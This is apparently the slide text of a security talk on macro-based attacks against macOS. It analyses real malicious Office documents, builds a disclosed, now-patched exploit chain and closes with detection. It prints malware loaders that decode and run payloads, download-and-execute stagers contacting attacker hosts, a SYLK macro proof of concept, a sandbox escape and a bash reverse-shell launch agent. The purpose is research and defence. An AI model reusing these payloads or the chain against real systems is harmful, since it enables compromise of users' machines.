Office Drama...on macOSWHOIS@patrickwardle

OUTLINE

Evil Office Docs!

history

analysis

exploit chain

defenseRecent History
macro based attacks, targeting macOSMACROStl;dr: add code to documents...defined

Macro:"A macro is a series of commands & instructions that you group
together as a single command to accomplish a task automatically"-Microsoft+
MSOffice document+ code01
02
03

Sub AutoOpen()
MsgBox "Hello World!", 0, "Title"
End Sub

macro code (VBScript)

MACROS...of course (ab)used by attackers+

though mitigations...

MACROSnow on macOS?

malicious & potentially unwanted
files for macOS (Kasperksy)
more macs...

more mac malware...

2017

macro attack"U.S. Allies and Rivals Digest
Trump’s Victory - Carnegie
Endowment for International
Peace.docm"

discovery & (limited)
detection"New Attack, Old Tricks"
objective-see.com/blog/blog_0x17.html

2018

macro attack"BitcoinMagazineQuidax_InterviewQuestions_2018.docm"

sandbox escape!

discovery & (limited)
detection

download & exec
2nd-stage (python) payload"Word to Your Mac"objective-see.com/blog/blog_0x3A.html

2019

macro attack"샘플_기술사업계획서(벤처기업평가용.doc"

is mac?

infected document(credit: kaspersky)

download & exec
2nd-stage (mach-O) payload"Cryptocurrency businesses still being targeted by Lazarus"
securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus

Analysis
understanding macro based attacks

EXTRACTING EMBEDDED MARCOS
oletools, ftw$ sudo pip install -U oletools$ olevba -c <path/to/document>

github.com/decalage2/oletools$ olevba -c ~/Documents/HelloWorld.docm
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools=====================================================================
FILE: /Users/patrick/Documents/HelloWorld.docm
Type: OpenXML--------------------------------------------------------------------VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -installation/usage
AutoOpen()"(automatically) runs after
you open a new document"

Sub AutoOpen()
MsgBox "Hello World!", 0, "Title"
End Sub

macro extraction"Description of behaviors of AutoExec & AutoOpen macros"
support.microsoft.com/en-us/help/286310/description-of-behaviors-of-autoexec-and-autoopen-macros-in-word

ANALYSIS:"U.S. Allies & Rivals Digest Trump's Victory"
via 'autoopen'$ olevba -c "U.S. Allies and Rivals Digest Trump's Victory.docm"
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -'Fisher' subroutine:
automatically executed

Sub autoopen()
FisherEnd Sub
Public Sub Fisher()Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"...
result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | python &")End Sub

Fisher() embedded macros

Sub 'Fisher()':concat base64-encoded str.
decode & exec via python

ANALYSIS:"U.S. Allies & Rivals Digest Trump's Victory"

firewall check

LittleSnitch running?

$ python>>> import base64>>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... ">>> base64.b64decode(cmd)...
dXFprvsgMBSIyPf = 'atfMzZOqVLbcj'
import ssl;
import sys, urllib2;
import re, subprocess;cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
out = ps.stdout.read()ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()

Download 2nd-stage payload(www.securitychecking.org)
RC4 decrypt this payload(key: fff96aed07cb7ea...)Execute decrypted payload...
a = o.open('https://www.securitychecking.org:443/index.asp').read();key = 'fff96aed07cb7ea65e7f031bd714607d';
S, j, out = range(256), 0, []for i in range(256):j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]...
exec(''.join(out))

decoded python code...looks familiar!?
EmPyre (python backdoor)

ANALYSIS:"BitcoinMagazine-Quidax_InterviewQuestions_2018"$ olevba -c "BitcoinMagazine-Quidax_InterviewQuestions_2018.docm"
Private Sub Document_Open()'Document_Open()':triggers automatic execution

payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda
b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ" &"...6c30pCg==')));"
path = Environ("HOME") &"/../../../../Library/LaunchAgents/~$com.xpnsec.plist"arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ...">\n" & _"<plist version=""1.0"">\n" & _"<dict>\n" & _"<key>Label</key>\n" & _"<string>com.xpnsec.sandbox</string>\n" & _"<key>ProgramArguments</key>\n" & _"<array>\n" & _"<string>python</string>\n" & _"<string>-c</string>\n" & _"<string>" & payload & "</string>" & _"</array>\n" & _"<key>RunAtLoad</key>\n" & _"<true/>\n" & _"</dict>\n" & _"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")'Result = system("launchctl bootout gui/$UID", "r")End Sub

decode & exec via python

create ~$com.xpnsec.plist

ANALYSIS:"BitcoinMagazine-Quidax_InterviewQuestions_2018"$ python>>> import base64>>> payload = "aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs3IgeCBpbiByYW5n...30pCg==">>> base64.b64decode(payload)"import socket,struct,time\nfor x in range(10):\n\ttry:\n\t\ts=socket.socket(2,socket.SOCK_STREAM)\n\t\ts.connect(('109.202.107.20',9622))\n\t\tbreak\n\texcept:\n\t\ttime.sleep(5)\nl=struct.unpack('>I',s.recv(4))[0]\nd=s.recv(l)\nwhile len(d)<l:\n\td+=s.recv(l-len(d))\nexec(d,{'s':s})\n"

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

109.202.107.20

import socket, struct, time
for x in range(10):try:s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('109.202.107.20',9622))
break
except:time.sleep(5)l=struct.unpack('>I',s.recv(4))[0]d=s.recv(l)while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})download & exec...Meterpreter

ANALYSIS:"BitcoinMagazine-Quidax_InterviewQuestions_2018"
path = Environ("HOME") &"/../../../../Library/LaunchAgents/~$com.xpnsec.plist"arg = "<?xml version=""1.0"" ...>\n" & _"<!DOCTYPE plist PUBLIC ...">\n" & _"<plist version=""1.0"">\n" & _"<key>Label</key>\n" & _"<string>com.xpnsec.sandbox</string>\n" & _...
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")Adam's PoC

embedded macro code ..."stolen"!?
$ codesign --display -v --entitlements - "Microsoft Word.app"...
com.apple.security.temporary-exception.sbpl(allow file-read* file-write*(require-any(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))))

Word's Sandbox Profile"....allows us to create a file anywhere on thefilesystem as long as it ends with ~$something"-(Adam Chester)
sandbox escape via/Library/LaunchAgents/~$com.xpnsec.plist"Escaping the Microsoft Office Sandbox"
objective-see.com/blog/blog_0x35.html

ANALYSIS:"샘플_기술사업계획서(벤처기업평가용.doc"$ olevba -c "샘플_기술사업계획서(벤처기업평가용.doc"

macOS-specificlogic'AutoOpen()':triggers automatic execution

Sub AutoOpen()...
#If Mac Thensur = "https://nzssdm.com/assets/mt.dat"...

nzssdm.com

res = system("curl -o " & spath & " " & sur)res = system("chmod +x " & spath)
res = popen(spath, "r")embedded (macOS-specific)
macrosdownload payload (via curl)

mt.dat(implant)

set executable (via chmod +x)
execute (via popen)"Lazarus APT Targets Mac Users with Poisoned Word Document"labs.sentinelone.com/lazarus-apt-targets-mac-users-poisoned-word-document/

Advanced Exploitationa '0-click' macro based attack

CURRENT ATTACKS...rather lame (and dysfunctional?)

alert!
app sandbox$ log stream
Error kernel: (Quarantine) exec of /private/tmp/backdoor denied...since it was quarantined by Microsoft Word and created without user consent

quarantine attribute+ notarizations

AUTOMATIC MACRO EXECUTION...with no alerts

only Office 2011, Microsoft: #wontfix"In Office 2011 for Mac, XLM Macro's in Sylk files are auto executed(no protected mode or macro prompt)"-The MS Office Magic Show" (2018), Pieter Ceelen & Stan Hegt

no prompt!

Excel 2019

macro security

latest version of Office!

"The Microsoft Office (2016, 2019) for Mac option "Disable all macros
without notification" enables XLM macros without prompting..."-CERT, vulnerability note VU#125336 (11/2019)

XLM MACROS IN SYLK FILES...ollld file format!

XLM:
macro language predating VBA
Sylk (.slk) files
SYmbolic LinK, (1980s file format)
01
02
03
04
05
06
07

}

still supported!

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()E

PoC.slk: spawn calc (via XLM)
"Abusing the SYLK file format"

outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/

SANDBOX BYPASS...macros are (now) sandboxed

spawning calc, is now, far from end-game"In a sandboxed application, child processes created with
the Process class inherit the sandbox of the parent app" -Apple$ codesign --display -v --entitlements - "Microsoft Word.app"...
com.apple.security.temporary-exception.sbpl(allow file-read* file-write*(require-any(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))))"....allows us to create a file anywhere on thefilesystem as long as it ends with ~$something"-(Adam Chester)Word's (Office) Sandbox Profile<string>(deny file-write*(subpath (string-append (param "_HOME") "/Library/Application Scripts"))(subpath (string-append (param "_HOME") "/Library/LaunchAgents")))</string>...now patched

SANDBOX BYPASS...download & execute; allowed
escape?

sandbox allows:
network comms
script execution

sandboxedprocess monitor# processMonitor{"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"path" : "/usr/bin/curl","arguments" : ["curl","-L","http://evil.com/escape.py","-o","/tmp/~$escape.py"
],
}
},
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"path" : "/System/Library/.../2.7/bin/python2.7","arguments" : ["python","/tmp/~$escape.py"],}}

curl / python...allowed!

SANDBOX BYPASS

via user login item
01
02
03
04
05
06
07
08
09
10
11
12
13

#create (CF)URL to app (e.g. Terminal.app)
appURL = CoreFoundation.CFURLCreateWithFileSystemPath(
kCFAllocatorDefault, path2App.get_ref(),
kCFURLPOSIXPathStyle, 1)#get the list of (existing) login items
items = CoreServices.LSSharedFileListCreate(kCFAllocatorDefault,
kLSSharedFileListSessionLoginItems, None)#add app to list of login items
CoreServices.LSSharedFileListInsertItemURL(
loginItems, kLSSharedFileListItemLast,
None, None, appURL, None, None)~$escape.py# TrueTree/System/Library/LaunchDaemons/com.apple.loginwindow.plist/System/Library/CoreServices/loginwindow.app/System/Applications/Utilities/Terminal.app

loginwindow -> login items(TrueTree, J. Bradley)un-sandboxed!

QUARANTINED / NOTARIZATION...macros are (now) sandboxed
can't pass args to login items :(...just persist our own (payload)?

01
02

NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y102;K0;ECALL("libc.dylib","system","JC","touch /tmp/\~\$payload")$ xattr ~\$payloadcom.apple.quarantine$ xattr -p com.apple.quarantine /tmp/~\$payload
0086;5e4c4b7a;Microsoft Excel;

any created payload: com.apple.quarantine(can't $ xattr -rc in sandbox)

blocked :(QUARANTINED / NOTARIZATION...an idea

avoids `com.apple.quarantine`a launch agent:
run apple binary
pass arguments!

01
02
03
04
05
06
07
08
09
10

<?xml version="1.0" encoding="UTF-8"?><plist version="1.0"><dict><key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>/bin/bash -i &gt;&amp; /dev/tcp/<attacker ip>/8080 0&gt;&amp;1</string></array>...

reverse shell, via bash

sandbox rule

<string>(deny file-write*(subpath (string-append (param "_HOME") "/Library/LaunchAgents")))</string>

creating launch agents: disallowed!

QUARANTINED / NOTARIZATION...an idea

sandbox escape...apple only, with no args
quarantine 'bypass'...but can't create (from sandbox)
escapecreate launch
agent...must find a way for an apple binary (with noarguments), to create a launch agent for us!

ARCHIVE UTILITY.APP...an idea!

A: macOS invokes its default handler!
(apple binary, outside the sandbox)

Q: what happens if we"persist" a .zip file !?
.zip login item!?

$ lsregister -dump
...
rank:
bundle:bindings:

Default
Archive Utility
public.zip-archive, .zip

Archive Utility.app
Archive Utility~/Library/~$payload.zip

launch agent "created"
LaunchAgents/
foo.plist

FULL EXPLOIT CHAIN"remotely" infecting macOS

user opens .slk filedownloads & "persists"~$payload.zip

LaunchAgents/on (next) login, "Archive
Utility" invoked & unzips...creating launch agent

on (next) login, launch
agent runs ...reverse shell!

FULL EXPLOIT CHAIN

an "unsandboxed" reverse shell ...game over!
01
02
03
04
05
06
07
08
09

runs outside sandbox
can download &unquarantine files!

<plist version="1.0"><dict><key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>/bin/bash -i &gt;&amp; /dev/tcp/<attacker ip>/8080 0&gt;&amp;1</string></array>...

launch agent (reverse shell, via bash)

OSX.WindTailfinal payload:(repurposed) OSX.WindTailDefense
protection against macro based attacks

FIXES & BUG REPORTS...Microsoft & Apple

macro bugpatched: CVE-2019-1457

full report to Apple
patched: 10.15.3"is a known issue...on the Apple side" !?

DETECTION

process monitoring# ./processMonitor{"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",...
"path" : "/Applications/Microsoft Excel.app","pid" : 1406}{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"path" : "/usr/bin/curl","arguments" : ["curl","http://evil.com/escape.py","-o","/tmp/~$escape.py"],"ppid" : 1406}}{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"path" : "/System/Library/.../2.7/bin/python2.7","arguments" : ["python","/tmp/~$escape.py"],"ppid" : 1406}}

Excel (pid: 1406) spawning curl & python!?

curl

pythonsuspicious children!

DETECTION

file monitoring (persistence)# ./fileMonitor{"event" : "ES_EVENT_TYPE_NOTIFY_WRITE","file" : {"destination" : "~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm","path" : "/System/Library/CoreServices/backgroundtaskmanagementagent",}}

login item persistence (backgrounditems.btm)

non-app login item!?

suspicious persistence!
"Block Blocking Login Items"
objective-see.com/blog/blog_0x31.html

GENERICALLY DETECTING MAC MALWARE

via JamfProtect (MonitorKit + Apple's game engine)

MonitorKit...in the news

alert !
actions(alert, log, etc)

Apple's game (logic) engine

Conclusion

TAKE AWAYS

macro attacks...targeting macOS users

defense in depth!!
Ensure your macOS systems are protectedby a behavior-based security tool!

MAHALO!

"Friends of Objective-See"
Airo

PATRICK.WARDLE@JAMF.COM

Guardian
Mobile Firewall

iVerify

SecureMac

Digital Guardian

SmugMug

SophosHalo Privacy

Announcing:"THE ART OF MAC MALWARE"
free (online) books

volume 0x1: Analysis

infection vectors
methods of persistenceauthor: p. wardle

analysis tools & techniques

visit:

https://taomm.org

Office Drama@patrickwardle
IMAGES:• WIRDOU.COM/RESOURCES:•••• GITHUB.COM/ARIS-T2'Cryptocurrency Businesses Still Being Targeted by Lazarus' -Kaspersky'Abusing the SYLK File Format' -Pieter Ceelen & Stan Hegt Pitts'Lazarus APT Targets Mac Users With Poisoned Word Document' -Phil Stokes